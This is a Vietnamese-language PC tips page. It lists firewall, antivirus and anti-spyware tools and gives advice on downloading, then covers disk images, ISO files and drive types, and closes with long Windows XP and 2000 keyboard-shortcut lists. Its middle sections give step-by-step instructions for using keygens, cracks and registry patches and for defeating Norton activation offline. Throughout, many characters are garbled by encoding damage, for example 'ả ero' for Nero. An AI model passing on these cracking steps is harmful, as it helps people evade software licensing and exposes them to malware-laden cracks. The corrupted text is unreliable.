KỸ THUẬT

- Đồ nghề bảo vệ máy pc
- Căn bản kiến thức pc
- Tài liệu điện toán
- Muốn trở thành hacker
- Toàn bộ websiter cho Video
- Kỹ thuật nhiếp ảnh.

ĐỒ NGHỀ BẢO VỆ MÁY PC

GRRRP

Nếu muốn vào NET để chơi hay download thì cần phải có đồ nghề bảo vệ máy pc như:

1.- **Firewall** để chống hackers vào phá hoại nhất là xài DSL, Cable modem thì trong máy lúc nào cũng cần phải có firewall ngay cả không vào NET vì DSL và cable modem lúc nào cũng connect vào Net. Chọn firewall software như: ZoneAlarm, Norton, McAfee, Tinyfirewall...Nếu có tiền thì xài hardware firewall thì hữu hiệu hơn là software firewall vì hardware firewall chỉ program khi không connect vào Net cần có cable interface thì mới program được hardware firewall eraseable ROM chIP (flashable), sau khi program xong gỡ dây cable interface ra thì hardware firewall không thể program được. Trên lý thuyết thì software firewall có thể bị hackers **disable** với software riêng của hackers -nhưng không phải dễ làm

2.- **Anti-Virus** program để chống virus. Chọn anti-virus software như: Norton, PC-ciline, McAfee, AGVantivirus...Với Windows 2000 Server, Advanced Server, Windows 2003 Server cần xài Norton Antivirus Corporate Edition

3.- **Pest Killer** software để diệt trừ sâu bọ gặm nhắm đồ trong máy như loại sâu Ezula...làm hư Internet EXPlorer. Chọn software như: PestControl, Gold Eye...

4.- **Anti-Spy** software để chống những tên gián điệp, đặc công nằm vùng lẻn vào máy mà gởi tin tức về chủ động Ma Giáo. Chọn những software để phản gián như BPSpyRemover, Spy Sweeper, Spy Remover...

5.- **Pop-up** Ads Killer để diệt mấy cái quảng cáo nhảy lên chiếm màn hình. Quý vị chọn những software để tiêu diệt Popup Ads như: KillAdd, PopupKiller, Ad_Gone, Anti-Porn, Kidsurf...Ngoài ra Google toolbar (Search Engine) cũng diệt được popup ads, chỉ cần vào http://toolbar.goolge.com/ để download và install Google toolbar. Google Toolbar chỉ xài được với IE nhưng không xài được với Netscape browser.

6.- **Windows Washer**. Windows lâu ngày còn sót lại những program mồ côi không xài tới uninstall nhưng không delete được hết files thì cần dọn dẹp sạch sẽ, để hard drive có chỗ trống. Chọn những software như: UltraCleaner, WinWasher...

7.- **Registry** cleaner để dọn dẹp rác rưởi do mấy cái junkware, spyware...xả hàng ngàn keys trong Windows Registry. Chọn những software như: RegCleaner, Registry Healer...

8.- **Camouflage** Ngụy trang làm cho hackers hay những spyware không thấy những gì trong harddrive. Chọn software như: Advance Hidden Folders, Folder Guard, MyTopSecret...

9.- **Safety** Trong trường hợp harddrive bị hư bất thình lình vì hardware hay bị virus phá boot track không boot được thì cần tới những software như: EDR Commander, Hiren's BootCD, Linux Knoppix CD 3.3...để mà sửa chữa...

Nếu máy pc của quý vị xài hết những software kể trên thì thì máy pc sẽ chạy chậm lại...và quý vị vào NET để download software, music chùa thì máy có an toàn không ? Câu trả lời đương nhiên là **KHÔNG**. Không có software nào có thể bảo vệ máy pc an toàn 100% cả...

Ai cũng biết vào NET để download nhất là Kazaa hay download qua bằng bittorent thì máy pc rất dễ bị nhiễm trùng, sâu bọ, gián điệp phá hoại. Nếu biết như vậy tại sao không **thí**

mang cùi ? Nếu quý vị lái xe mới đi làm thì sợ bị cọ quẹt hư xe mới thì lái chiếc xe pickup cũ có bị đụng móp cũng không tiếc gì. Nếu quý vị xài 1 hard drive nhỏ chừng 5 Gb chỉ có **Windows OS** và **Firewall** (xài harddrive nầy để vào Net mà thôi) để vào Net dạo chơi, Chat hay download software, music thì khi Windows OS có bị hư thì chỉ cần **FORMAT** hard drive làm lại cuộc đời.

Tuy nói là **thí mạng cùi** nhưng mạng cùi cũng là 1...mạng dùng để **nối mạng** nên trước khi vào mấy sites download cần phải dọ thám đường đi nước bước

1.- Khi bạn thấy ai post cái link để download thì nên vào coi cái domain đó ở đâu, của ai ? Nếu link đó là.COM thì vào http://www.networksolutions.com/ rồi bấm vào **WhoIS**, đánh vào cái tên DomainName.com coi cái site đó của ai. Đương nhiên site có thể có link hướng về chỗ khác nhưng cũng biết được ở đâu. Những sites khác như http://www.whois.net/, http://www.betterwhois.com/, http://www.allwhois.com/, http://www.whoisreport.com/ http://www.whois.sc/ (whois.sc có thể tìm domain bằng số IP, domain name hay tên)...

2.- Nếu những site cho download cần phải **VOTE** thì nên tránh xa...loại site nầy chỉ muốn lấy credit cho nhiều người vào (để có traffic cao mà nhận quảng cáo cho các site khác để lượm tiền) còn thật ra site nầy không có cơm chay nào đáng để download sau khi bạn VOTE rồi thì cái link download chuyển tới chỗ ma hay chỗ để VOTE thêm

3.- Bit-Torrent.Bạn không nên xài loại nầy để thỉnh cơm chay vì khi bạn **DOWNLOAD** file thì phải làm công quả **UPLOAD** files cho người khác. Đôi khi tốc độ Download chỉ được 10 Kb/sec mà tốc độ Upload lên tới 40 Kb/sec - DSL hay cable modem của bạn bị người khác xài thả cửa...máy chờ download lâu nên dễ bị hackers, sâu bọ xâm nhập

4.- Nếu software bạn muốn download là loại **TRIAL** và xài thêm **CRACK** để xài thiệt thì bạn chỉ cần download cái **CRACK** trước rồi vào website chính cho download mà download cái trial version thì an toàn hơn.

CĂN BẢN KIẾN THỨC PC...

CaChon biên soạn

01. Auto-run và bootable khác nhau như thế nào ?

Quý vị cần phân biệt giữa 2 chữ Auto-run và bootable. Một dĩa CD program gọi là auto-run (tự động chạy hay tự khởi động) là khi bạn cho cái dĩa CD đó vào trong CD-ROM drive thì sẽ tự động run cái setup program. Dĩa Auto-run không phải là loại dĩa CD hay DVD bootable. Dĩa CD hay DVD bootable là khi bạn cho cái dĩa CD hay DVD vào CD-ROM và mở máy pc lên để boot từ CD-ROM thì cái dĩa nầy sẽ boot để install Windows OS, Linux, hay làm data recovery v.v...Dĩa CD bootable thông thường cũng là loại auto-run.

Muốn program auto-run thì trong cái directory phải có file **autorun.inf**, còn dĩa bootable là cái dĩa đó phải có cái boot track **El Torito**. Dĩa bootable muốn upload hay download cần phải biến đổi thành disk image ISO để giữ nguyên cái boot track El Torido.

02. ISO files

ISO là chữ viết tắt của chữ Internation Standard Organization. ISO dùng trong pc có nghĩa là disk image file. Nếu dĩa CD hay DVD boot được (như Windows 2K và XP) mà copy vào HD rồi burn lại vào CD sẽ mất đi cái boot track El Torido nên không boot được...Vì vậy người ta xài UltraISO, WinISO...để làm cái ISO file từ dĩa CD rồi từ đó chia ra làm nhiều files nhỏ để upload, download. Khi quý vị tổng hợp lại thành cái file ISO thì phải burn vào CD hay DVD để trở lại cái image file giống như dĩa CD original. Nếu muốn thêm bớt files (thêm crack, keygen, serial, ca'ch install v.v...) trong cái file ISO thì phải xài UltraISO, WinISO, hay ISO-Buster mà thêm vào rồi save lại, sau đó xài Nero để burn image vào CD hay DVD.

Đây là cách burn image bằng Nero:

Nero > Burn Image > Chọn ISO file > cho cái blank CD-R hay DVD-R vào mà burn.

03. Software chôm về...

Executable Program (.EXE) là software để làm việc dùng để setup hay install đây là program chính mà bạn download về dưới dạng RAR, ZIP v.v...Nếu file download về là.ISO thì phải burn vào CD trước mới install được (dù cái ISO file đó chỉ có 50 Mb cũng phải xài nguyên 1 đĩa CD...nếu sợ phí 1 đĩa CD thì đừng xài). Hầu hết program muốn install thì cần phải có serial, chỉ có loại trial thì khi install không cần tới serial. Khi install program thì không bao giờ install vào folder C:\Program Files\...vì install program sẽ chìm vào mấy từng địa ngục khó mà tìm hay delete về sau...Install program vào 1 folder riêng lẻ thí dụ **C:\IDM** hay **D:\IDM** thì cái exe program sẽ dễ tìm và cũng dễ delete nguyên cái folder trong trường hợp uninstall program không delete nguyên cái folder.

04. Keygen, KeyMaker...

Keygen, **KeyMaker** là một program nhỏ chỉ **Generate**, làm ra cái chìa khóa (serial number), hay CD-KEYS v.v...Thông thường phải run cái keygen trước để lấy số serial mà install software. Nên nhớ là tất cả số serial generated chỉ đúng để install mà thôi những số serial nầy không có trong sổ bộ dataBase của mấy nhà sản xuất software như Microsoft, Norton v.v...vì vậy nếu quý vị để cho program gọi về các server chủ như Microsoft, Norton, ZoneAlarm...thì số serial nầy đều là số giả...invalid...

05. Crack hay Patch...

Có 3 loại vá...

- 5.1 Vá lấp lỗ...trong cái folder thông thường có cái file tên là Patch.exe hay crack.exe, copy cái file patch.exe hay crack.exe nầy vào trong folder đã install program trong giai đoạn 1 (thí dụ C:\IDM thấy dễ tìm chưa ?) rồi run cái file patch.exe hay crack.exe nầy thì cái patch nầy sẽ sửa, thêm bớt code trong cái program EXE đã install để làm cho program software không còn bị hết hạn sau 15 ngày (eXPired) hay biến đổi trial program thành Full Retail...

- 5.2 Vá thay đổi hay thay thế...trong cái folder nầy sẽ có 1 file exe cùng tên với cái tên program đã install trong giai đoạn 1 (thí dụ IDM502f.exe). Chỉ cần copy cái file nầy vào trong folder đã install ở giai đoạn 1 để overwrite (thay thế) cái program đã install là xong.

- 5.3 Vá Windows Registry...trong folder nầy có 1 program EXE hay chỉ là 1 file có cái đuôi.REG. Run cái file exe hoặc là double-click cái file.REG thì sẽ thêm hay sửa đổi key code trong Windows Registry.

06. Keygen và Activation combos...

Loại nầy có 2 nhiệm vụ:

- 6.1. Làm cái serial number để install program

- 6.2. Program cần phải activation thì mới xài được. Muốn activation thì trước hết phải gỡ bỏ internet ra khỏi máy, gỡ dây điện thoại khỏi modem, tắt wireless card v.v...rồi chọn activation by phone khi program display cái challenge code hay request code thì đánh vào trong cái keygen, rồi bấm nút generate activation, đánh cái activation code nầy vào lại trong program đòi hỏi là xong.

07. Norton Product Activation

- Hầu hết Norton products cần phải activation...Nếu làm sai thì không thể un-install và install lại được vì các keys hay data đã nằm trong Windows Registry rồi...Đây là cách activation:

- 7.1 Install software với số serial, CD-KEYs do keygen làm ra hay số serial tìm được

- 7.2 Gở bỏ dây điện thoại ra khỏi modem, tắt wireless card (nếu xài laptop), run IE để bảo đảm là không vào được net hiện ra cái trang **This page cannot be displayed...**Nếu chưa thấy cái trang vừa nói là bạn vẫn còn vào Net được thì trở lại giai đoại 7.2 tiếp tục giai đoại 7.3 khi bạn không vào net được.

- 7.3 Run software vừa install và chọn activation, cứ để cho Norton software gọi về chủ nó nhiều lần không được, sẽ display error, cứ tiếp tục bấm nút OK...Chờ cho software gọi

về server chủ năm bẩy lần không được thì software cũng đành bỏ cuộc...cho bạn option để **activation by phone** và program display cái challenge code chừng vài chục characters (tùy theo program). Copy hay viết cái challenge code nầy vào giấy

- 7.4 Run cái keygen lần nữa, đánh cái challenge code vào hay paste từ clIPboard, bấm nút generate activation code (hay authorization code) để lấy cái activation code, đánh cái activation code nầy vào lại program của ổ orton rồi bấm nút Activate products...ổ ếu thấy cái dialog nói câu **Thank You** là bạn đã activate thành công...

08. Bin và Cue Files...

Bin và Cue file là image file cũng giống như ISO file nhưng do software CDRwin làm. Bin và Cue file thường dùng để chứa nhiều hơn 700 Mb data (overburn) bằng cách xài 2352 bytes/sector thay vì căn bản 2048 bytes/sector. ổ ero burn được.bin file bằng cách là burn image > chọn.CUE file rồi cho cái dĩa CD-R vào mà burn. Lưu ý là có nhiều CD-ROM drive nếu xài overburn quá lố có thể hư đầu máy. ổ ếu xài ổ ero thì vào trong Preferences (hay Options)> EXPert Features mà chọn overburn cho CD hay DVD-CD nên chọn tối đa chừng 80 phút

09. DLL files...

DLL là chữ viết tắt của Dynamic Link Library là những module files cần thiết để run program. Khi bạn install software thì setup program sẽ là 3 việc:

- 9.1 Copy files vào chỗ một directory bạn chọn hay vào chỗ defualt như C:\Program Files...

- 9.2 Copy DLL files vào trong folder System32 như trong C:\Winndows\System32 (nếu là Windows 98, ME, XP, 2003) hay C:\Winổ T\System32 (nếu là ổ T4, Windows 2K).

- 9.3 Làm keys để trong Windows Registry và register những keys hay ClassID

Khi program không run được báo là có 1 DLL file nào đó missing...thường là do bạn vừa install 1 software mới, install cái file dll mới không xài được cho những program cũ, hay bạn vừa uninstall một cái software nào đó, xóa luôn cái.dll files cần cho program. Trường hợp nầy chỉ cần install lại cái program nào display cái file.dll missing. Copy.DLL file vào trong System32 thì program đôi khi làm việc được đôi khi không. Lý do là file DLL có nhiều version khác nhau - chỉ có program install mới biết là khi nào thì install cái.DLL mới hay xài cái đã có trong máy (vì cái file Dll trong System32 mới hơn cái dll file dự định install).

Vì software install vào 3 chỗ khác nhau nên nếu bạn copy program từ 1 folder trong 1 máy pc vào 1 folder trong máy pc khác thì program không làm việc được thiếu.dll files trong System32 và keys hay ClassID trong Windows Registry.

10. ISO file nhỏ - muốn xài tối đa dĩa CD

ổ ếu quý vị download cái ISO program file nhưng cái ISO file nầy chỉ có 70 Mb (thí dụ Hiren's Boot CD) mà quý vị không muốn phí 1 cái dĩa (vì xài có 70 Mb còn hơn 630 Mb bỏ) thì quý vị có thể thêm files cho đầy 700 Mb rồi burn vào thành 1 CD cũng được.

- 10.1 ổ ếu là là loại bootable thì quý vị phải xài UltraISO, WinISO v.v...để thêm file cho đầy. Có những software như ổ ero, Roxio không phải là loại bootable (chỉ là autorun) thì quý vị có thể cho nguyên cái software ổ ero Premium hay Roxio vào trong 1 folder rồi cho vào trong cái file ISO file. Sau khi thêm program cho tới gần đầy 700 Mb thì burn cái ISO vào CD thì cũng boot được khi cho cái CD nầy boot CD-ROM để run cái ISO file chính, còn khi muốn install mấy cái software (thêm vào) thì run setup. ổ ếu ISO file là loại DVD bootable thì không nên thêm software. Đôi khi thêm files sẽ bị mất cái boot track nên không boot được.

- 10.2 ổ ếu ISO nầy chỉ là loại autorun thì quý vị có thể xài UltraISO hay WinISO mà extract cái ISO file nầy vào HD rồi thêm nhiều software nữa cho đầy 700 Mb hay đầy 1 DVD mà burn vào dĩa CD hay DVD.

- 10.3 Có vài loại ISO file nếu thêm folder hay thêm files sẽ làm cho CD không còn install được, thí dụ cái dĩa CD1 của MS Flight Simulator 2004, nếu thêm folder để chứa cái

crack fs2004.exe sẽ không install vào máy. ả ếu quý vị thêm bớt file trong ISO file rồi burn vào CD mà không install được thì nhớ trở về cái original ISO file...

11. ISO file lớn hơn 4 Gb... nhưng bên trong chỉ chứa 1 file cỡ 1 Kb...

- ISO lớn hơn 4 Gb thường là UDF format (Universal Disk Format) nên nếu quý vị xài mấy software như UltraISO, WinISO để coi bên trong có chứa crack chưa hay muốn thêm crack, keygen như đã nói ở trên...thì chỉ thấy có 1 text file duy nhất chừng 1 Kb, tất cả các files hay folder chẳng thấy gì cả...nhìn vào cái filesize display trong UltraISO vẫn đúng hơn 4 Gb. Loại file UDF nầy quý vị không thêm bớt files hay folder được...Quý vị phải xài ả ero để burn trực tiếp cái file ISO nầy vào DVD-R hay DVD+R...

Có những software chứa trong dĩa DVD xài cho 2 platforms khác nhau như Windows và Mac. ả ếu quý vị xài UltraISO để extract files thì tất cả các file extract chỉ còn bằng phân nữa cái cỡ file ISO (vì đã mất hết phần files của Mac OS). ả ếu muốn giữ files cho cả hai platforms Windows và Mac thì phải burn vào dĩa DVD từ ISO file (không được thêm bớt folder hay file nào cả)

12. 5 dĩa CDs hay 1 dĩa DVD - nên chọn thứ nào ?

ả hiều software lớn chứa trong 5 hay 6 CDs hoặc là 1 dĩa DVD thí dụ như Visual Studio.ả et 2003 Pro gồm có 3 dĩa CDs program và 3 dĩa CDs MSDả hay 1 dĩa DVD, SuSE Linux 10 gồm 5 dĩa CDs hay 1 dĩa DVD. Ai cũng nghĩ rằng download 1 dĩa DVD thì gọn hơn là 5 hay 6 dĩa CDs vì CD phải chiếm nhiều chỗ...nhưng đến khi install program thì mới biết... DVD-drive read chừng 16-24X trong khi đó CD-drive read ở tốc độ 52X nhanh hơn 2-3 lần tốc độ DVD...VS.ả ET 2003 hay 2005 dĩa CDs install vào máy phải mất 45-60 phút thì cũng software nầy dưới dạng DVD phải mất 1 giờ 30 phút tới 2 giờ mới install xong...Đó là sự khác việt giữa CDs và DVD bạn chọn thứ nào thì tùy ý bạn.

13. FlashGet và IDM

Có thể nói IDM và FlashGet là 2 program tiêu chuẩn về download (de Factor Standard) cho các download managers khác nên quý vị chỉ cần xài một trong hai cái IDM hay FlashGet để chở hàng về. ả ói về tốc độ thì IDM download nhanh hơn flashGet chút đỉnh... ả ói là chút đỉnh vì download giới hạn bởi server và đường dây DSL của bạn. ả ếu bạn download bằng FlashGet được 380 Kb/sec thì xài IDM bạn download được cỡ 400 Kb/sec đây cũng là giới hạn tốc độ tối đa đường dây DSL của bạn. ả ói chung thì bạn xài IDM để download các site thông thường và xài FlashGet khi download những site bên Tàu...vì các site bên Tàu ma giáo sợ FBI lùng bắt nên cái link không phải là nhà kho chứa chân kinh, chìa khóa mà chỉ chứa địa chỉ và số nhà để đi tới một site khác nữa (refer) -đôi khi site kế tiếp chỉ chỗ tới nhà kho...nên IE, FireFox và IDM không download được từ các site bên Tàu...chỉ có FlashGet có thể lần theo địa chỉ refer mà tới nhà kho chở hàng về...

ả ếu quý vị muốn download từ RapidShare, MegaUpload (Free Account) thì nên xài IE hay FireFox mà download vì mấy cái site đó không thích mấy cái download managers nên nếu quý vị download bằng IDM hay FlashGet thì **file download về rất dễ bị corrupted...**

14. Disk Image và Backup Data khác nhau thế nào ?

Disk Image giống như làm photocopy cái HD xài Ghost hay Acronis Disk Image cũng đều được tùy theo ý thích người sử dụng.

Backup data thông thường là copy data files vào tape drive -tape có độ chứa chừng 80 Gb compressed (40 GB tape) và backup thường là hàng ngày hay hàng tuần tùy theo nhu cầu...

Disk image có nhược điểm là làm disk image cho nguyên một partition nên những software install sau khi đã làm disk image thì sẽ không recover được...và disk image sẽ lớn nếu install quá nhiều software. Muốn xài disk image hữu hiệu thì giới hạn Windows OS + software installed cỡ 1 hay 2 dĩa DVDs. ả hiều hơn 2 dĩa DVD sẽ mất nhiều thì giờ để recover lại nguyên cái partition-disk image nên burn vào DVD-R, hay DVD+R và nên giữ 1 bản copy trong External USB 2.0 HD để khi cần recover lại partition sẽ nhanh hơn là từ dĩa DVD.

Backup data thì chỉ copy những files nào mới mà không copy files cũ đã backup rồi (incremental hay full)...nên nếu backup hàng ngày hay hàng tuần thì data cũng nhỏ. Tuy nhiên backup data cũng có nhược điểm là muốn recover lại data thì phải có 1 Windows OS dang làm việc có nghĩa là nếu Windows bị hư thì phải install lại Windows và backup software thì mới recover lại data được. ả ếu xài disk image để recover lại Windows và software đã install và xài backup data thì được an toàn và việc recover lại data cũng nhanh vì sau khi recover bằng disk image thì có thể xài backup software để recover lại data từ tape backup.

ả ếu không xài software để backup như Veritas Exec Backup thì bạn có thể xài ả ero Backup (tuy không hay lắm nhưng vẫn tốt hơn là không xài) hay có nhiều External USB 2.0 HD do mấy nhà sản xuất HD như WD hay Maxtor đều có one-touch backup...thì chỉ cần bấm cái nút là tự động backup data.

Bạn nên xài cả hai disk image và backup data thì mới được an toàn vì HD hay bị chết bất thường...

15. Yahoo email được 30 Mb lưu trữ...

Mỗi Yahoo email account được 30 Mb lưu trữ...Hiện giờ Yahoo cho giữ 1 Gb nhưng số 30 Mb nầy vẫn tính chung trong số lượng lưu trữ 1 Gb (1 Gb chỉ để lưu trữ email và attachments)

Muốn xài chỗ lưu trữ nầy thì đánh vào http://briefcase.yahoo.com rồi log-in (sign-in lần đầu) với Yahoo!ID và password của Yahoo. Có thể upload files lớn cỡ tối đa 3 Gb. ả ơi đây bạn có thể upload những file riêng của bạn mà không ai vào xem được bạn có thể download những file đã upload vào đây.

Cái bị Yahoo (briefcase) có thể dùng để lưu trữ keygen, patch, program nhỏ hơn 3 Mb hay hình ảnh bạn chụp từ máy ảnh digital mà upload vào đây để delete hình trong máy trong khi đi du lịch. Upload hình ảnh vào đây rồi cho người nhà biết password để vào download thì cũng như một cách share hình ảnh không mất tiền...

Muốn xài nhiều hơn 30 Mb thì làm thêm vài cái email accounts với Yahoo...

16. IDE, SATA và SCSI hard drives

IDE hard drive có tốc độ transfer tối đa là 133 Mb/s (loại cũ có tốc độ là 33, 66 hay 100 Mb/s). IDE gắn vào motherboard bằng dây IDE cable 80 wires, 40 pins. Dây IDE calbe 40 wires, 40 pins thường xài cho DVD-ROM drive vì tốc độ chậm dưới 33 Mb/s

SATA hard drive có tốc độ transfer tối đa là 150 Mb/s (trong tương lai có thể lên tới 300 hay 600 Mb/s). SATA drive gắn vào motherboard bằng dây 7 pins gồm có 4 pins data và 3 pins power.

Motherboard nếu có SATA thì cũng có 2 nhánh IDE (4 devices) và 2 nhánh SATA (4 devices). ả ếu gắn SATA drive thì default sẽ boot từ SATA, phải vào BIOS setup nếu muốn boot từ IDE HD trước.

SCSI HD (đọc là Sì-Cớ-Zì SCSI = Small Computer System Interface) thường xài cho network vì có thể xài Raid 5 hữu hiệu hơn (có thể xài IDE raid nhưng làm việc chậm). SCSI drive có thể gắn 7 drive liên tiếp chung vào 1 dây SCSI cable (daisy chain).

Đương nhiên IDE HD rẻ tiền nhất, rồi tới SATA, và SCSI drive là loại mắt tiền nhất

17. Windows XP Hotkeys and keyboard Shortcuts:

Windows ® XP General:

CTRL and A -Selects all the items in the active window.

CTRL and C -Copies the item or items to the ClIPboard and can be pasted using

CTRL and V.

CTRL and F -Displays the Find all files dialog box.

CTRL and G -Displays the Go to folder dialog box.

CTRL and ả -Displays the ả ew dialog box.

CTRL and O -Displays the Open dialog box.

CTRL and P -Displays the Print dialog box.

CTRL and S -Displays the Save dialog box.
CTRL and V -Pastes the copied item or items from the ClIPboard.
CTRL and X -Cuts the item or items selected to the ClIPboard.
CTRL and Z --- Undoes the last action.
CTRL and F4 -Closes the active document window.
CTRL while dragging an item -Copy the selected item
CTRL+SHIFT with arrow keys -Highlight a block of text
CTRL+F4 -Close the active document
CTRL+ESC -Display the Start menu
CTRL and F6 -Opens the next document window in the active application.
ALT+Eả TER -View the properties for the selected item
ALT+F4 -Close the active item, or quit the active program
ALT+SPACEBAR -Open the shortcut menu for the active window
ALT+TAB -Switch between the open items
ALT+ESC -Cycle through items in the order that they had been opened
F1 key -Gives help on the active window or selected item.
F2 key -Rename the selected item
F3 key -Search for a file or a folder
F4 key -Display the Address bar list in My Computer or Windows EXPlorer
F5 key -Update the active window
F6 key -Cycle through the screen elements in a window or on the desktop
F10 key -Activate the menu bar in the active program
Windows Logo -Display or hide the Start menu
Windows Logo+BREAK -Display the System Properties dialog box
Windows Logo+D -Display the desktop
Windows Logo+M -Minimize all of the Windows
Windows Logo+SHIFT+M -Restore the minimized Windows
Windows Logo+E -Open My Computer
Windows Logo+F -Search for a file or a folder
CTRL+Windows Logo+F -Search for computers
Windows Logo+F1 -Display Windows Help
Windows Logo+ L -Lock the keyboard
Windows Logo+R -Open the Run dialog box
Windows Logo+U -Open Utility Manager
Windows ® XP - Dialogue Box:
TAB -Move forward through the options
SHIFT+TAB -Move backward through the options
CTRL+TAB -Move forward through the tabs
CTRL+SHIFT+TAB -Move backward through the tabs
ALT+Underlined letter -Perform the corresponding command or select the corresponding option
Eả TER -Perform the command for the active option or button
SPACEBAR -Select or clear the check box if the active option is a check box
F1 key -Display Help
F4 key -Display the items in the active list
Arrow keys -Select a button if the active option is a group of option buttons
BACKSPACE -Open a folder one level up if a folder is selected in the Save As or Open dialog box

Windows ® XP - Windows EXPlorer:

Eả D -Display the bottom of the active window

HOME -Display the top of the active window

ẩ UM LOCK+Asterisk sign (*) -Display all of the subfolders that are under the selected folder

ẩ UM LOCK+Plus sign (+) -Display the contents of the selected folder

ẩ UM LOCK+Minus sign (-) -Collapse the selected folder

LEFT ARROW -Collapse the current selection if it is eXPanded, or select the parent folder

RIGHT ARROW -Display the current selection if it is collapsed, or select the first subfolder

18. Windows 2000 Keyboard Shortcuts

Common Keyboard Shortcuts:

Windows Logo - Display or hide the Start menu.

Windows Logo+BREAK- Display the System Properties dialog box.

Windows Logo+D - Minimizes all Windows and shows the Desktop

Windows Logo+E - Open Windows EXPlorer

Windows Logo+F - Search for a file or folder.

Windows Logo+F+CTRL- Search for computers.

Windows Logo+F1 - Display Windows 2000 Help.

Windows Logo+L - Locks the desktop

Windows Logo+M - Minimize or restore all Windows.

Windows Logo+R - Open the Run dialog box.

Windows Logo+TAB - Switch between open items.

Windows Logo+U - Open Utility Manager

ALT+- (ALT+hyphen) - Displays the MultIPle Document Interface (MDI) child window's System menu.

ALT+Eẩ TER - View properties for the selected item.

ALT+ESC - Cycle through items in the order they were opened.

ALT+F4 - Close the active item, or quit the active program.

ALT+SPACEBAR - Display the System menu for the active window.

ALT+TAB - Switch between open items.

ALT+Underlined letter in a menu name - Display the corresponding menu.

BACKSPACE - View the folder one level up in My Computer or Windows EXPlorer.

CTRL+A - Select all.

CTRL+B - Bold

CTRL+C - Copy.

CTRL+I - Italics

CTRL+O - Open an item.

CTRL+U – Underline

CTRL+V - Paste.

CTRL+X - Cut.

CTRL+Z - Undo.

CTRL+F4 - Close the active document in programs that allow you to have multIPle documents open simultaneously.

CTRL while dragging an item - Copy selected item.

CTRL+SHIFT while dragging an item - Create shortcut to selected item.

CTRL+RIGHT ARROW - Move the insertion point to the beginning of the next word.

CTRL+LEFT ARROW - Move the insertion point to the beginning of the previous word.

CTRL+DOWẩ ARROW - Move the insertion point to the beginning of the next paragraph.

CTRL+UP ARROW - Move the insertion point to the beginning of the previous paragraph.

CTRL+SHIFT with any of the arrow keys - Highlight a block of text.

DELETE - Delete.

SHIFT+DELETE - Delete selected item permanently without placing the item in the Recycle Bin.

ESC - Cancel the current task.

F1 - Displays Help

F2 - Rename selected item.

F3 - Search for a file or folder.

F4 - Display the Address bar list in My Computer or Windows EXPlorer.

F5 - Refresh the active window.

F6 - Cycle through screen elements in a window or on the desktop.

F10 - Activate the menu bar in the active program.

SHIFT+F10 - Display the shortcut menu for the selected item.

CTRL+ESC - Display the Start menu.

SHIFT+CTRL+ESC - Launches Task Manager

Underlined letter in a command name on an open menu - Carry out the corresponding command.

RIGHT ARROW - Open the next menu to the right, or open a submenu.

LEFT ARROW - Open the next menu to the left, or close a submenu.

SHIFT with any of the arrow keys - Select more than one item in a window or on the desktop, or select text within a document.

SHIFT when you insert a CD into the CD-ROM drive - Prevent the CD from automatically playing.

Dialog box keyboard shortcuts:

CTRL+TAB - Move forward through tabs.

CTRL+SHIFT+TAB - Move backward through tabs.

TAB - Move forward through options.

SHIFT+TAB - Move backward through options.

ALT+Underlined letter - Carry out the corresponding command or select the corresponding option.

Eả TER - Carry out the command for the active option or button.

SPACEBAR - Select or clear the check box if the active option is a check box.

Arrow keys - Select a button if the active option is a group of option buttons.

F1- Display Help.

F4 - Display the items in the active list.

BACKSPACE - Open a folder one level up if a folder is selected in the Save As or Open dialog box.

Windows EXPlorer keyboard shortcuts:

CTRL+PLUS on numeric keypad (+) - Automatically resize the columns in the right hand pane

Eả D - Display the bottom of the active window.

HOME - Display the top of the active window.

ả UM LOCK+ASTERISK on numeric keypad (*) - Display all subfolders under the selected folder.

ả UM LOCK+PLUS SIGả on numeric keypad (+) - Display the contents of the selected folder.

ả UM LOCK+MIả US SIGả on numeric keypad (-) - Collapse the selected folder.

LEFT ARROW - Collapse current selection if it's eXPanded, or select parent folder.

RIGHT ARROW - Display current selection if it's collapsed, or select first subfolder.

Natural Keyboard shortcuts:

You can use the following keyboard shortcuts with a Microsoft å atural Keyboard or any other compatible keyboard that includes the Windows logo key () and the Application key ().

Windows Logo - Display or hide the Start menu.

Windows Logo+BREAK - Display the System Properties dialog box.

Windows Logo+D - Minimizes all Windows and shows the Desktop

Windows Logo+M - Minimize or restore all Windows.

Windows Logo+E - Open My Computer.

Windows Logo+F - Search for a file or folder.

CTRL+Windows Logo+F - Search for computers.

Windows Logo+F1 - Display Windows 2000 Help.

Windows Logo+L - Locks the desktop

Windows Logo+R - Open the Run dialog box.

Windows Logo+TAB - Switch between open items.

Windows Logo+U - Open Utility Manager

Accessibility Options keyboard shortcuts:

Right SHIFT for eight seconds - Switch FilterKeys on and off

Left ALT +left SHIFT +PRIå T SCREEå - Switch High Contrast on and off

Left ALT +left SHIFT +å UM LOCK - Switch MouseKeys on and off

SHIFT five times - Switch StickyKeys on and off

å UM LOCK for five seconds - Switch ToggleKeys on and off

Windows Logo +U - Open Utility Manager

Help Viewer keyboard shortcuts:

If your mouse is unavailable or if you prefer using your keyboard, you can use the following keyboard commands to navigate within the Help Viewer. To eXPand the headings below using the keyboard, press F6 to switch from the Help navigation pane to the topic pane. Press TAB to select the desired keyboard shortcut heading, and then press Eå TER to eXPand the listing.

ALT+SPACEBAR - Display the system menu.

SHIFT+F10 - Display the Help Viewer shortcut menu.

ALT+TAB - Switch between the Help Viewer and other open Windows.

ALT+O - Display the Options menu.

ALT+O, and then press T - Hide or show the navigation pane.

CTRL+TAB - Switch to the next tab in the navigation pane.

CTRL+SHIFT+TAB - Switch to the previous tab in the navigation pane.

UP ARROW - Move up one topic in the table of contents, index, or search results list.

DOWå ARROW - Move down one topic in the table of contents, index, or search results list.

PAGE UP - Move up one page in the table of contents, index, or search results list.

PAGE DOWå - Move down one page in the table of contents, index, or search results list.

F6 - Switch focus between the navigation pane and the topic pane.

ALT+O, and then press R - Refresh the topic that appears in the topic pane.

UP ARROW or DOWå ARROW - Scroll through a topic.

CTRL+HOME - Move to the beginning of a topic.

CTRL+Eå D - Move to the end of a topic.

CTRL+A - Highlight all text in the topic pane.

ALT+O, and then press P - Print a topic.

ALT+O, and then press B - Move back to the previously viewed topic.
ALT+O, and then press F - Move forward to the next (previously viewed) topic.
ALT+F4 - Close the Help Viewer.
Contents tab keyboard shortcuts:
ALT+C - Display the Contents tab.
RIGHT ARROW - Open a book.
LEFT ARROW - Close a book.
BACKSPACE - Return to the previous open book.
UP ARROW or DOWả ARROW - Select a topic.
Eả TER - Display the selected topic.
Index tab keyboard shortcuts:
ALT+ả - Display the Index tab.
UP ARROW or DOWả ARROW - Select a keyword in the list.
ALT+D or Eả TER - Display the associated topic.
